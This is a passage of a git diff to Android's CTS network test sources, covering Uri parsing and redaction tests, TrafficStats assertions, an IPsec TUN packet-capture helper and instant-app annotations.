+            return false;
         }
     }
 }
diff --git a/tests/tests/net/src/android/net/cts/SysctlBaseTest.java b/tests/tests/net/src/android/net/cts/SysctlBaseTest.java
deleted file mode 100644
index a5966d4..0000000
--- a/tests/tests/net/src/android/net/cts/SysctlBaseTest.java
+++ /dev/null
@@ -1,70 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts;
-
-import android.system.ErrnoException;
-import android.system.Os;
-import android.system.OsConstants;
-import android.system.StructStat;
-import android.test.AndroidTestCase;
-
-import java.io.File;
-import java.io.FileDescriptor;
-import java.io.IOException;
-
-/**
- * Tests for multinetwork sysctl functionality.
- */
-public class SysctlBaseTest extends AndroidTestCase {
-
-    // Expected mode, UID, and GID of sysctl files.
-    private static final int SYSCTL_MODE = 0100644;
-    private static final int SYSCTL_UID = 0;
-    private static final int SYSCTL_GID = 0;
-
-    private void checkSysctlPermissions(String fileName) throws ErrnoException {
-        StructStat stat = Os.stat(fileName);
-        assertEquals("mode of " + fileName + ":", SYSCTL_MODE, stat.st_mode);
-        assertEquals("UID of " + fileName + ":", SYSCTL_UID, stat.st_uid);
-        assertEquals("GID of " + fileName + ":", SYSCTL_GID, stat.st_gid);
-    }
-
-    protected void assertLess(String sysctl, int a, int b) {
-        assertTrue("value of " + sysctl + ": expected < " + b + " but was: " + a, a < b);
-    }
-
-    protected void assertAtLeast(String sysctl, int a, int b) {
-        assertTrue("value of " + sysctl + ": expected >= " + b + " but was: " + a, a >= b);
-    }
-
-    private String readFile(String fileName) throws ErrnoException, IOException {
-        byte[] buf = new byte[1024];
-        FileDescriptor fd = Os.open(fileName, 0, OsConstants.O_RDONLY);
-        int bytesRead = Os.read(fd, buf, 0, buf.length);
-        assertLess("length of " + fileName + ":", bytesRead, buf.length);
-        return new String(buf);
-    }
-
-    /*
-     * Checks permissions and retrieves the sysctl's value. Retrieval of value should always use
-     * this method
-     */
-    protected int getIntValue(String filename) throws ErrnoException, IOException {
-        checkSysctlPermissions(filename);
-        return Integer.parseInt(readFile(filename).trim());
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/TheaterModeTest.java b/tests/tests/net/src/android/net/cts/TheaterModeTest.java
index 10fca6f..d1ddeaa 100644
--- a/tests/tests/net/src/android/net/cts/TheaterModeTest.java
+++ b/tests/tests/net/src/android/net/cts/TheaterModeTest.java
@@ -18,12 +18,11 @@
 
 import android.content.ContentResolver;
 import android.content.Context;
+import android.platform.test.annotations.AppModeFull;
 import android.provider.Settings;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
-import java.lang.Thread;
-
 public class TheaterModeTest extends AndroidTestCase {
     private static final String TAG = "TheaterModeTest";
     private static final String FEATURE_BLUETOOTH = "android.hardware.bluetooth";
@@ -40,6 +39,7 @@
                        || mContext.getPackageManager().hasSystemFeature(FEATURE_WIFI));
     }
 
+    @AppModeFull(reason = "WRITE_SECURE_SETTINGS permission can't be granted to instant apps")
     public void testTheaterMode() {
         setup();
         if (!mHasFeature) {
diff --git a/tests/tests/net/src/android/net/cts/TrafficStatsTest.java b/tests/tests/net/src/android/net/cts/TrafficStatsTest.java
index a8743fa..5bd1e20 100755
--- a/tests/tests/net/src/android/net/cts/TrafficStatsTest.java
+++ b/tests/tests/net/src/android/net/cts/TrafficStatsTest.java
@@ -16,14 +16,15 @@
 
 package android.net.cts;
 
+import android.content.pm.PackageManager;
+import android.net.NetworkStats;
 import android.net.TrafficStats;
 import android.os.Process;
+import android.os.SystemProperties;
+import android.platform.test.annotations.AppModeFull;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
-import java.io.BufferedReader;
-import java.io.FileNotFoundException;
-import java.io.FileReader;
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.OutputStream;
@@ -81,6 +82,7 @@
         return packetCount * (20 + 32 + bytes);
     }
 
+    @AppModeFull(reason = "Socket cannot bind in instant app mode")
     public void testTrafficStatsForLocalhost() throws IOException {
         final long mobileTxPacketsBefore = TrafficStats.getMobileTxPackets();
         final long mobileRxPacketsBefore = TrafficStats.getMobileRxPackets();
@@ -99,6 +101,7 @@
         final int byteCount = 1024;
         final int packetCount = 1024;
 
+        TrafficStats.startDataProfiling(null);
         final ServerSocket server = new ServerSocket(0);
         new Thread("TrafficStatsTest.testTrafficStatsForLocalhost") {
             @Override
@@ -153,6 +156,7 @@
             Thread.sleep(1000);
         } catch (InterruptedException e) {
         }
+        NetworkStats testStats = TrafficStats.stopDataProfiling(null);
 
         long mobileTxPacketsAfter = TrafficStats.getMobileTxPackets();
         long mobileRxPacketsAfter = TrafficStats.getMobileRxPackets();
@@ -194,6 +198,24 @@
             Log.i(LOG_TAG, "lingering traffic data: " + deltaTxOtherPackets + "/" + deltaRxOtherPackets);
         }
 
+        // Check the per uid stats read from data profiling have the stats expected. The data
+        // profiling snapshot is generated from readNetworkStatsDetail() method in
+        // networkStatsService and in this way we can verify the detail networkStats of a given uid
+        // is correct.
+        NetworkStats.Entry entry = testStats.getTotal(null, Process.myUid());
+        assertTrue("txPackets detail: " + entry.txPackets + " uidTxPackets: " + uidTxDeltaPackets,
+            entry.txPackets >= packetCount + minExpectedExtraPackets
+            && entry.txPackets <= uidTxDeltaPackets);
+        assertTrue("rxPackets detail: " + entry.rxPackets + " uidRxPackets: " + uidRxDeltaPackets,
+            entry.rxPackets >= packetCount + minExpectedExtraPackets
+            && entry.rxPackets <= uidRxDeltaPackets);
+        assertTrue("txBytes detail: " + entry.txBytes + " uidTxDeltaBytes: " + uidTxDeltaBytes,
+            entry.txBytes >= tcpPacketToIpBytes(packetCount, byteCount)
+            + tcpPacketToIpBytes(minExpectedExtraPackets, 0) && entry.txBytes <= uidTxDeltaBytes);
+        assertTrue("rxBytes detail: " + entry.rxBytes + " uidRxDeltaBytes: " + uidRxDeltaBytes,
+            entry.rxBytes >= tcpPacketToIpBytes(packetCount, byteCount)
+            + tcpPacketToIpBytes(minExpectedExtraPackets, 0) && entry.rxBytes <= uidRxDeltaBytes);
+
         assertTrue("uidtxp: " + uidTxPacketsBefore + " -> " + uidTxPacketsAfter + " delta=" + uidTxDeltaPackets +
             " Wanted: " + uidTxDeltaPackets + ">=" + packetCount + "+" + minExpectedExtraPackets + " && " +
             uidTxDeltaPackets + "<=" + packetCount + "+" + packetCount + "+" + maxExpectedExtraPackets + "+" + deltaTxOtherPackets,
@@ -216,19 +238,37 @@
             uidRxDeltaBytes <= tcpPacketToIpBytes(packetCount, byteCount) + tcpPacketToIpBytes(packetCount + maxExpectedExtraPackets + deltaRxOtherPackets, 0));
 
         // Localhost traffic *does* count against total stats.
-        // Fudge by 132 packets of 1500 bytes not related to the test.
+        // Check the total stats increased after test data transfer over localhost has been made.
         assertTrue("ttxp: " + totalTxPacketsBefore + " -> " + totalTxPacketsAfter,
-            totalTxPacketsAfter >= totalTxPacketsBefore + uidTxDeltaPackets &&
-            totalTxPacketsAfter <= totalTxPacketsBefore + uidTxDeltaPackets + 132);
+                totalTxPacketsAfter >= totalTxPacketsBefore + uidTxDeltaPackets);
         assertTrue("trxp: " + totalRxPacketsBefore + " -> " + totalRxPacketsAfter,
-            totalRxPacketsAfter >= totalRxPacketsBefore + uidRxDeltaPackets &&
-            totalRxPacketsAfter <= totalRxPacketsBefore + uidRxDeltaPackets + 132);
+                totalRxPacketsAfter >= totalRxPacketsBefore + uidRxDeltaPackets);
         assertTrue("ttxb: " + totalTxBytesBefore + " -> " + totalTxBytesAfter,
-            totalTxBytesAfter >= totalTxBytesBefore + uidTxDeltaBytes &&
-            totalTxBytesAfter <= totalTxBytesBefore + uidTxDeltaBytes + 132 * 1500);
+                totalTxBytesAfter >= totalTxBytesBefore + uidTxDeltaBytes);
         assertTrue("trxb: " + totalRxBytesBefore + " -> " + totalRxBytesAfter,
-            totalRxBytesAfter >= totalRxBytesBefore + uidRxDeltaBytes &&
-            totalRxBytesAfter <= totalRxBytesBefore + uidRxDeltaBytes + 132 * 1500);
+                totalRxBytesAfter >= totalRxBytesBefore + uidRxDeltaBytes);
+
+        // If the adb TCP port is opened, this test may be run by adb over network.
+        // Huge amount of data traffic might go through the network and accounted into total packets
+        // stats. The upper bound check would be meaningless.
+        // TODO: Consider precisely calculate the traffic accounted due to adb over network and
+        //       subtract it when checking upper bound instead of skip checking.
+        final PackageManager pm = mContext.getPackageManager();
+        if (SystemProperties.getInt("persist.adb.tcp.port", -1) > -1
+                || SystemProperties.getInt("service.adb.tcp.port", -1) > -1
+                || !pm.hasSystemFeature(PackageManager.FEATURE_USB_ACCESSORY)) {
+            Log.i(LOG_TAG, "adb is running over the network, skip the upper bound check");
+        } else {
+            // Fudge by 132 packets of 1500 bytes not related to the test.
+            assertTrue("ttxp: " + totalTxPacketsBefore + " -> " + totalTxPacketsAfter,
+                    totalTxPacketsAfter <= totalTxPacketsBefore + uidTxDeltaPackets + 132);
+            assertTrue("trxp: " + totalRxPacketsBefore + " -> " + totalRxPacketsAfter,
+                    totalRxPacketsAfter <= totalRxPacketsBefore + uidRxDeltaPackets + 132);
+            assertTrue("ttxb: " + totalTxBytesBefore + " -> " + totalTxBytesAfter,
+                    totalTxBytesAfter <= totalTxBytesBefore + uidTxDeltaBytes + 132 * 1500);
+            assertTrue("trxb: " + totalRxBytesBefore + " -> " + totalRxBytesAfter,
+                    totalRxBytesAfter <= totalRxBytesBefore + uidRxDeltaBytes + 132 * 1500);
+        }
 
         // Localhost traffic should *not* count against mobile stats,
         // There might be some other traffic, but nowhere near 1MB.
@@ -244,6 +284,5 @@
         assertTrue("mrxb: " + mobileRxBytesBefore + " -> " + mobileRxBytesAfter,
             mobileRxBytesAfter >= mobileRxBytesBefore &&
             mobileRxBytesAfter <= mobileRxBytesBefore + 200000);
-
     }
 }
diff --git a/tests/tests/net/src/android/net/cts/TunUtils.java b/tests/tests/net/src/android/net/cts/TunUtils.java
new file mode 100644
index 0000000..a030713
--- /dev/null
+++ b/tests/tests/net/src/android/net/cts/TunUtils.java
@@ -0,0 +1,257 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.cts;
+
+import static android.net.cts.PacketUtils.IP4_HDRLEN;
+import static android.net.cts.PacketUtils.IP6_HDRLEN;
+import static android.net.cts.PacketUtils.IPPROTO_ESP;
+import static android.net.cts.PacketUtils.UDP_HDRLEN;
+import static android.system.OsConstants.IPPROTO_UDP;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.fail;
+
+import android.os.ParcelFileDescriptor;
+
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import java.util.function.Predicate;
+
+public class TunUtils {
+    private static final String TAG = TunUtils.class.getSimpleName();
+
+    private static final int DATA_BUFFER_LEN = 4096;
+    private static final int TIMEOUT = 100;
+
+    private static final int IP4_PROTO_OFFSET = 9;
+    private static final int IP6_PROTO_OFFSET = 6;
+
+    private static final int IP4_ADDR_OFFSET = 12;
+    private static final int IP4_ADDR_LEN = 4;
+    private static final int IP6_ADDR_OFFSET = 8;
+    private static final int IP6_ADDR_LEN = 16;
+
+    private final ParcelFileDescriptor mTunFd;
+    private final List<byte[]> mPackets = new ArrayList<>();
+    private final Thread mReaderThread;
+
+    public TunUtils(ParcelFileDescriptor tunFd) {
+        mTunFd = tunFd;
+
+        // Start background reader thread
+        mReaderThread =
+                new Thread(
+                        () -> {
+                            try {
+                                // Loop will exit and thread will quit when tunFd is closed.
+                                // Receiving either EOF or an exception will exit this reader loop.
+                                // FileInputStream in uninterruptable, so there's no good way to
+                                // ensure that this thread shuts down except upon FD closure.
+                                while (true) {
+                                    byte[] intercepted = receiveFromTun();
+                                    if (intercepted == null) {
+                                        // Exit once we've hit EOF
+                                        return;
+                                    } else if (intercepted.length > 0) {
+                                        // Only save packet if we've received any bytes.
+                                        synchronized (mPackets) {
+                                            mPackets.add(intercepted);
+                                            mPackets.notifyAll();
+                                        }
+                                    }
+                                }
+                            } catch (IOException ignored) {
+                                // Simply exit this reader thread
+                                return;
+                            }
+                        });
+        mReaderThread.start();
+    }
+
+    private byte[] receiveFromTun() throws IOException {
+        FileInputStream in = new FileInputStream(mTunFd.getFileDescriptor());
+        byte[] inBytes = new byte[DATA_BUFFER_LEN];
+        int bytesRead = in.read(inBytes);
+
+        if (bytesRead < 0) {
+            return null; // return null for EOF
+        } else if (bytesRead >= DATA_BUFFER_LEN) {
+            throw new IllegalStateException("Too big packet. Fragmentation unsupported");
+        }
+        return Arrays.copyOf(inBytes, bytesRead);
+    }
+
+    private byte[] getFirstMatchingPacket(Predicate<byte[]> verifier, int startIndex) {
+        synchronized (mPackets) {
+            for (int i = startIndex; i < mPackets.size(); i++) {
+                byte[] pkt = mPackets.get(i);
+                if (verifier.test(pkt)) {
+                    return pkt;
+                }
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Checks if the specified bytes were ever sent in plaintext.
+     *
+     * <p>Only checks for known plaintext bytes to prevent triggering on ICMP/RA packets or the like
+     *
+     * @param plaintext the plaintext bytes to check for
+     * @param startIndex the index in the list to check for
+     */
+    public boolean hasPlaintextPacket(byte[] plaintext, int startIndex) {
+        Predicate<byte[]> verifier =
+                (pkt) -> {
+                    return Collections.indexOfSubList(Arrays.asList(pkt), Arrays.asList(plaintext))
+                            != -1;
+                };
+        return getFirstMatchingPacket(verifier, startIndex) != null;
+    }
+
+    public byte[] getEspPacket(int spi, boolean encap, int startIndex) {
+        return getFirstMatchingPacket(
+                (pkt) -> {
+                    return isEsp(pkt, spi, encap);
+                },
+                startIndex);
+    }
+
+    public byte[] awaitEspPacketNoPlaintext(
+            int spi, byte[] plaintext, boolean useEncap, int expectedPacketSize) throws Exception {
+        long endTime = System.currentTimeMillis() + TIMEOUT;
+        int startIndex = 0;
+
+        synchronized (mPackets) {
+            while (System.currentTimeMillis() < endTime) {
+                byte[] espPkt = getEspPacket(spi, useEncap, startIndex);
+                if (espPkt != null) {
+                    // Validate packet size
+                    assertEquals(expectedPacketSize, espPkt.length);
+
+                    // Always check plaintext from start
+                    assertFalse(hasPlaintextPacket(plaintext, 0));
+                    return espPkt; // We've found the packet we're looking for.
+                }
+
+                startIndex = mPackets.size();
+
+                // Try to prevent waiting too long. If waitTimeout <= 0, we've already hit timeout
+                long waitTimeout = endTime - System.currentTimeMillis();
+                if (waitTimeout > 0) {
+                    mPackets.wait(waitTimeout);
+                }
+            }
+
+            fail("No such ESP packet found with SPI " + spi);
+        }
+        return null;
+    }
+
+    private static boolean isSpiEqual(byte[] pkt, int espOffset, int spi) {
+        // Check SPI byte by byte.
+        return pkt[espOffset] == (byte) ((spi >>> 24) & 0xff)
+                && pkt[espOffset + 1] == (byte) ((spi >>> 16) & 0xff)
+                && pkt[espOffset + 2] == (byte) ((spi >>> 8) & 0xff)
+                && pkt[espOffset + 3] == (byte) (spi & 0xff);
+    }
+
+    private static boolean isEsp(byte[] pkt, int spi, boolean encap) {
+        if (isIpv6(pkt)) {
+            // IPv6 UDP encap not supported by kernels; assume non-encap.
+            return pkt[IP6_PROTO_OFFSET] == IPPROTO_ESP && isSpiEqual(pkt, IP6_HDRLEN, spi);
+        } else {
+            // Use default IPv4 header length (assuming no options)
+            if (encap) {
+                return pkt[IP4_PROTO_OFFSET] == IPPROTO_UDP
+                        && isSpiEqual(pkt, IP4_HDRLEN + UDP_HDRLEN, spi);
+            } else {
+                return pkt[IP4_PROTO_OFFSET] == IPPROTO_ESP && isSpiEqual(pkt, IP4_HDRLEN, spi);
+            }
+        }
+    }
+
+    private static boolean isIpv6(byte[] pkt) {
+        // First nibble shows IP version. 0x60 for IPv6
+        return (pkt[0] & (byte) 0xF0) == (byte) 0x60;
+    }
+
+    private static byte[] getReflectedPacket(byte[] pkt) {
+        byte[] reflected = Arrays.copyOf(pkt, pkt.length);
+
+        if (isIpv6(pkt)) {
+            // Set reflected packet's dst to that of the original's src
+            System.arraycopy(
+                    pkt, // src
+                    IP6_ADDR_OFFSET + IP6_ADDR_LEN, // src offset
+                    reflected, // dst
+                    IP6_ADDR_OFFSET, // dst offset
+                    IP6_ADDR_LEN); // len
+            // Set reflected packet's src IP to that of the original's dst IP
+            System.arraycopy(
+                    pkt, // src
+                    IP6_ADDR_OFFSET, // src offset
+                    reflected, // dst
+                    IP6_ADDR_OFFSET + IP6_ADDR_LEN, // dst offset
+                    IP6_ADDR_LEN); // len
+        } else {
+            // Set reflected packet's dst to that of the original's src
+            System.arraycopy(
+                    pkt, // src
+                    IP4_ADDR_OFFSET + IP4_ADDR_LEN, // src offset
+                    reflected, // dst
+                    IP4_ADDR_OFFSET, // dst offset
+                    IP4_ADDR_LEN); // len
+            // Set reflected packet's src IP to that of the original's dst IP
+            System.arraycopy(
+                    pkt, // src
+                    IP4_ADDR_OFFSET, // src offset
+                    reflected, // dst
+                    IP4_ADDR_OFFSET + IP4_ADDR_LEN, // dst offset
+                    IP4_ADDR_LEN); // len
+        }
+        return reflected;
+    }
+
+    /** Takes all captured packets, flips the src/dst, and re-injects them. */
+    public void reflectPackets() throws IOException {
+        synchronized (mPackets) {
+            for (byte[] pkt : mPackets) {
+                injectPacket(getReflectedPacket(pkt));
+            }
+        }
+    }
+
+    public void injectPacket(byte[] pkt) throws IOException {
+        FileOutputStream out = new FileOutputStream(mTunFd.getFileDescriptor());
+        out.write(pkt);
+        out.flush();
+    }
+
+    /** Resets the intercepted packets. */
+    public void reset() throws IOException {
+        synchronized (mPackets) {
+            mPackets.clear();
+        }
+    }
+}
diff --git a/tests/tests/net/src/android/net/cts/UriTest.java b/tests/tests/net/src/android/net/cts/UriTest.java
index 5c54cda..40b8fb7 100644
--- a/tests/tests/net/src/android/net/cts/UriTest.java
+++ b/tests/tests/net/src/android/net/cts/UriTest.java
@@ -22,6 +22,7 @@
 import android.test.AndroidTestCase;
 import java.io.File;
 import java.util.Arrays;
+import java.util.ArrayList;
 
 public class UriTest extends AndroidTestCase {
     public void testParcelling() {
@@ -73,6 +74,12 @@
         assertEquals("new", b.getFragment());
         assertEquals("bar", b.getSchemeSpecificPart());
         assertEquals("foo", b.getScheme());
+
+        a = Uri.fromParts("scheme", "[2001:db8::dead:e1f]/foo", "bar");
+        b = a.buildUpon().fragment("qux").build();
+        assertEquals("qux", b.getFragment());
+        assertEquals("[2001:db8::dead:e1f]/foo", b.getSchemeSpecificPart());
+        assertEquals("scheme", b.getScheme());
     }
 
     public void testStringUri() {
@@ -120,6 +127,38 @@
         assertEquals("a.foo.com", uri.getHost());
         assertEquals(-1, uri.getPort());
         assertEquals("\\.example.com/path", uri.getPath());
+
+        uri = Uri.parse("https://[2001:db8::dead:e1f]/foo");
+        assertEquals("[2001:db8::dead:e1f]", uri.getAuthority());
+        assertNull(uri.getUserInfo());
+        assertEquals("[2001:db8::dead:e1f]", uri.getHost());
+        assertEquals(-1, uri.getPort());
+        assertEquals("/foo", uri.getPath());
+        assertEquals(null, uri.getFragment());
+        assertEquals("//[2001:db8::dead:e1f]/foo", uri.getSchemeSpecificPart());
+
+        uri = Uri.parse("https://[2001:db8::dead:e1f]/#foo");
+        assertEquals("[2001:db8::dead:e1f]", uri.getAuthority());
+        assertNull(uri.getUserInfo());
+        assertEquals("[2001:db8::dead:e1f]", uri.getHost());
+        assertEquals(-1, uri.getPort());
+        assertEquals("/", uri.getPath());
+        assertEquals("foo", uri.getFragment());
+        assertEquals("//[2001:db8::dead:e1f]/", uri.getSchemeSpecificPart());
+
+        uri = Uri.parse(
+                "https://some:user@[2001:db8::dead:e1f]:1234/foo?corge=thud&corge=garp#bar");
+        assertEquals("some:user@[2001:db8::dead:e1f]:1234", uri.getAuthority());
+        assertEquals("some:user", uri.getUserInfo());
+        assertEquals("[2001:db8::dead:e1f]", uri.getHost());
+        assertEquals(1234, uri.getPort());
+        assertEquals("/foo", uri.getPath());
+        assertEquals("bar", uri.getFragment());
+        assertEquals("//some:user@[2001:db8::dead:e1f]:1234/foo?corge=thud&corge=garp",
+                uri.getSchemeSpecificPart());
+        assertEquals("corge=thud&corge=garp", uri.getQuery());
+        assertEquals("thud", uri.getQueryParameter("corge"));
+        assertEquals(Arrays.asList("thud", "garp"), uri.getQueryParameters("corge"));
     }
 
     public void testCompareTo() {
@@ -164,22 +203,62 @@
         String encoded = Uri.encode("Bob:/", "/");
         assertEquals(-1, encoded.indexOf(':'));
         assertTrue(encoded.indexOf('/') > -1);
-        assertDecode(null);
-        assertDecode("");
-        assertDecode("Bob");
-        assertDecode(":Bob");
-        assertDecode("::Bob");
-        assertDecode("Bob::Lee");
-        assertDecode("Bob:Lee");
-        assertDecode("Bob::");
-        assertDecode("Bob:");
-        assertDecode("::Bob::");
+        assertEncodeDecodeRoundtripExact(null);
+        assertEncodeDecodeRoundtripExact("");
+        assertEncodeDecodeRoundtripExact("Bob");
+        assertEncodeDecodeRoundtripExact(":Bob");
+        assertEncodeDecodeRoundtripExact("::Bob");
+        assertEncodeDecodeRoundtripExact("Bob::Lee");
+        assertEncodeDecodeRoundtripExact("Bob:Lee");
+        assertEncodeDecodeRoundtripExact("Bob::");
+        assertEncodeDecodeRoundtripExact("Bob:");
+        assertEncodeDecodeRoundtripExact("::Bob::");
+        assertEncodeDecodeRoundtripExact("https:/some:user@[2001:db8::dead:e1f]:1234/foo#bar");
     }
 
-    private void assertDecode(String s) {
+    private static void assertEncodeDecodeRoundtripExact(String s) {
         assertEquals(s, Uri.decode(Uri.encode(s, null)));
     }
 
+    public void testDecode_emptyString_returnsEmptyString() {
+        assertEquals("", Uri.decode(""));
+    }
+
+    public void testDecode_null_returnsNull() {
+        assertNull(Uri.decode(null));
+    }
+
+    public void testDecode_wrongHexDigit() {
+        // %p in the end.
+        assertEquals("ab/$\u0102%\u0840\uFFFD\u0000", Uri.decode("ab%2f$%C4%82%25%e0%a1%80%p"));
+    }
+
+    public void testDecode_secondHexDigitWrong() {
+        // %1p in the end.
+        assertEquals("ab/$\u0102%\u0840\uFFFD\u0001", Uri.decode("ab%2f$%c4%82%25%e0%a1%80%1p"));
+    }
+
+    public void testDecode_endsWithPercent_appendsUnknownCharacter() {
+        // % in the end.
+        assertEquals("ab/$\u0102%\u0840\uFFFD", Uri.decode("ab%2f$%c4%82%25%e0%a1%80%"));
+    }
+
+    public void testDecode_plusNotConverted() {
+        assertEquals("ab/$\u0102%+\u0840", Uri.decode("ab%2f$%c4%82%25+%e0%a1%80"));
+    }
+
+    // Last character needs decoding (make sure we are flushing the buffer with chars to decode).
+    public void testDecode_lastCharacter() {
+        assertEquals("ab/$\u0102%\u0840", Uri.decode("ab%2f$%c4%82%25%e0%a1%80"));
+    }
+
+    // Check that a second row of encoded characters is decoded properly (internal buffers are
+    // reset properly).
+    public void testDecode_secondRowOfEncoded() {
+        assertEquals("ab/$\u0102%\u0840aa\u0840",
+                Uri.decode("ab%2f$%c4%82%25%e0%a1%80aa%e0%a1%80"));
+    }
+
     public void testFromFile() {
         File f = new File("/tmp/bob");
         Uri uri = Uri.fromFile(f);
@@ -425,4 +504,87 @@
                 Uri.parse("HTTP://USER@WWW.ANDROID.COM:100/ABOUT?foo=blah@bar=bleh#c")
                         .normalizeScheme());
     }
+
+    public void testToSafeString_tel() {
+        checkToSafeString("tel:xxxxxx", "tel:Google");
+        checkToSafeString("tel:xxxxxxxxxx", "tel:1234567890");
+        checkToSafeString("tEl:xxx.xxx-xxxx", "tEl:123.456-7890");
+    }
+
+    public void testToSafeString_sip() {
+        checkToSafeString("sip:xxxxxxx@xxxxxxx.xxxxxxxx", "sip:android@android.com:1234");
+        checkToSafeString("sIp:xxxxxxx@xxxxxxx.xxx", "sIp:android@android.com");
+    }
+
+    public void testToSafeString_sms() {
+        checkToSafeString("sms:xxxxxx", "sms:123abc");
+        checkToSafeString("smS:xxx.xxx-xxxx", "smS:123.456-7890");
+    }
+
+    public void testToSafeString_smsto() {
+        checkToSafeString("smsto:xxxxxx", "smsto:123abc");
+        checkToSafeString("SMSTo:xxx.xxx-xxxx", "SMSTo:123.456-7890");
+    }
+
+    public void testToSafeString_mailto() {
+        checkToSafeString("mailto:xxxxxxx@xxxxxxx.xxx", "mailto:android@android.com");
+        checkToSafeString("Mailto:xxxxxxx@xxxxxxx.xxxxxxxxxx",
+                "Mailto:android@android.com/secret");
+    }
+
+    public void testToSafeString_nfc() {
+        checkToSafeString("nfc:xxxxxx", "nfc:123abc");
+        checkToSafeString("nfc:xxx.xxx-xxxx", "nfc:123.456-7890");
+        checkToSafeString("nfc:xxxxxxx@xxxxxxx.xxx", "nfc:android@android.com");
+    }
+
+    public void testToSafeString_http() {
+        checkToSafeString("http://www.android.com/...", "http://www.android.com");
+        checkToSafeString("HTTP://www.android.com/...", "HTTP://www.android.com");
+        checkToSafeString("http://www.android.com/...", "http://www.android.com/");
+        checkToSafeString("http://www.android.com/...", "http://www.android.com/secretUrl?param");
+        checkToSafeString("http://www.android.com/...",
+                "http://user:pwd@www.android.com/secretUrl?param");
+        checkToSafeString("http://www.android.com/...",
+                "http://user@www.android.com/secretUrl?param");
+        checkToSafeString("http://www.android.com/...", "http://www.android.com/secretUrl?param");
+        checkToSafeString("http:///...", "http:///path?param");
+        checkToSafeString("http:///...", "http://");
+        checkToSafeString("http://:12345/...", "http://:12345/");
+    }
+
+    public void testToSafeString_https() {
+        checkToSafeString("https://www.android.com/...", "https://www.android.com/secretUrl?param");
+        checkToSafeString("https://www.android.com:8443/...",
+                "https://user:pwd@www.android.com:8443/secretUrl?param");
+        checkToSafeString("https://www.android.com/...", "https://user:pwd@www.android.com");
+        checkToSafeString("Https://www.android.com/...", "Https://user:pwd@www.android.com");
+    }
+
+    public void testToSafeString_ftp() {
+        checkToSafeString("ftp://ftp.android.com/...", "ftp://ftp.android.com/");
+        checkToSafeString("ftP://ftp.android.com/...", "ftP://anonymous@ftp.android.com/");
+        checkToSafeString("ftp://ftp.android.com:2121/...",
+                "ftp://root:love@ftp.android.com:2121/");
+    }
+
+    public void testToSafeString_rtsp() {
+        checkToSafeString("rtsp://rtsp.android.com/...", "rtsp://rtsp.android.com/");
+        checkToSafeString("rtsp://rtsp.android.com/...", "rtsp://rtsp.android.com/video.mov");
+        checkToSafeString("rtsp://rtsp.android.com/...", "rtsp://rtsp.android.com/video.mov?param");
+        checkToSafeString("RtsP://rtsp.android.com/...", "RtsP://anonymous@rtsp.android.com/");
+        checkToSafeString("rtsp://rtsp.android.com:2121/...",
+                "rtsp://username:password@rtsp.android.com:2121/");
+    }
+
+    public void testToSafeString_notSupport() {
+        checkToSafeString("unsupported://ajkakjah/askdha/secret?secret",
+                "unsupported://ajkakjah/askdha/secret?secret");
+        checkToSafeString("unsupported:ajkakjah/askdha/secret?secret",
+                "unsupported:ajkakjah/askdha/secret?secret");
+    }
+
+    private void checkToSafeString(String expectedSafeString, String original) {
+        assertEquals(expectedSafeString, Uri.parse(original).toSafeString());
+    }
 }
diff --git a/tests/tests/net/src/android/net/cts/UrlQuerySanitizerTest.java b/tests/tests/net/src/android/net/cts/UrlQuerySanitizerTest.java
index 7076ea2..2d615bb 100644
--- a/tests/tests/net/src/android/net/cts/UrlQuerySanitizerTest.java
+++ b/tests/tests/net/src/android/net/cts/UrlQuerySanitizerTest.java
@@ -170,6 +170,12 @@
         String initialPercentSign = "title=%B5";
         assertEquals(expectedPlus, uqs.unescape(initialPlus));
         assertEquals(expectedPercentSignHex, uqs.unescape(initialPercentSign));
+        String expectedPlusThenPercentSign = "Joe Random, User";
+        String plusThenPercentSign = "Joe+Random%2C%20User";
+        assertEquals(expectedPlusThenPercentSign, uqs.unescape(plusThenPercentSign));
+        String expectedPercentSignThenPlus = "Joe, Random User";
+        String percentSignThenPlus = "Joe%2C+Random+User";
+        assertEquals(expectedPercentSignThenPlus, uqs.unescape(percentSignThenPlus));
 
         assertTrue(uqs.decodeHexDigit('0') >= 0);
         assertTrue(uqs.decodeHexDigit('b') >= 0);
diff --git a/tests/tests/net/src/android/net/cts/VpnServiceTest.java b/tests/tests/net/src/android/net/cts/VpnServiceTest.java
index 8bdd7b0..15af23c 100644
--- a/tests/tests/net/src/android/net/cts/VpnServiceTest.java
+++ b/tests/tests/net/src/android/net/cts/VpnServiceTest.java
@@ -18,6 +18,7 @@
 import android.content.Intent;
 import android.net.VpnService;
 import android.os.ParcelFileDescriptor;
+import android.platform.test.annotations.AppModeFull;
 import android.test.AndroidTestCase;
 
 import java.io.File;
@@ -35,6 +36,7 @@
 
     private VpnService mVpnService = new VpnService();
 
+    @AppModeFull(reason = "PackageManager#queryIntentActivities cannot access in instant app mode")
     public void testPrepare() throws Exception {
         // Should never return null since we are not prepared.
         Intent intent = VpnService.prepare(mContext);
@@ -60,6 +62,7 @@
         }
     }
 
+    @AppModeFull(reason = "Socket cannot bind in instant app mode")
     public void testProtect_DatagramSocket() throws Exception {
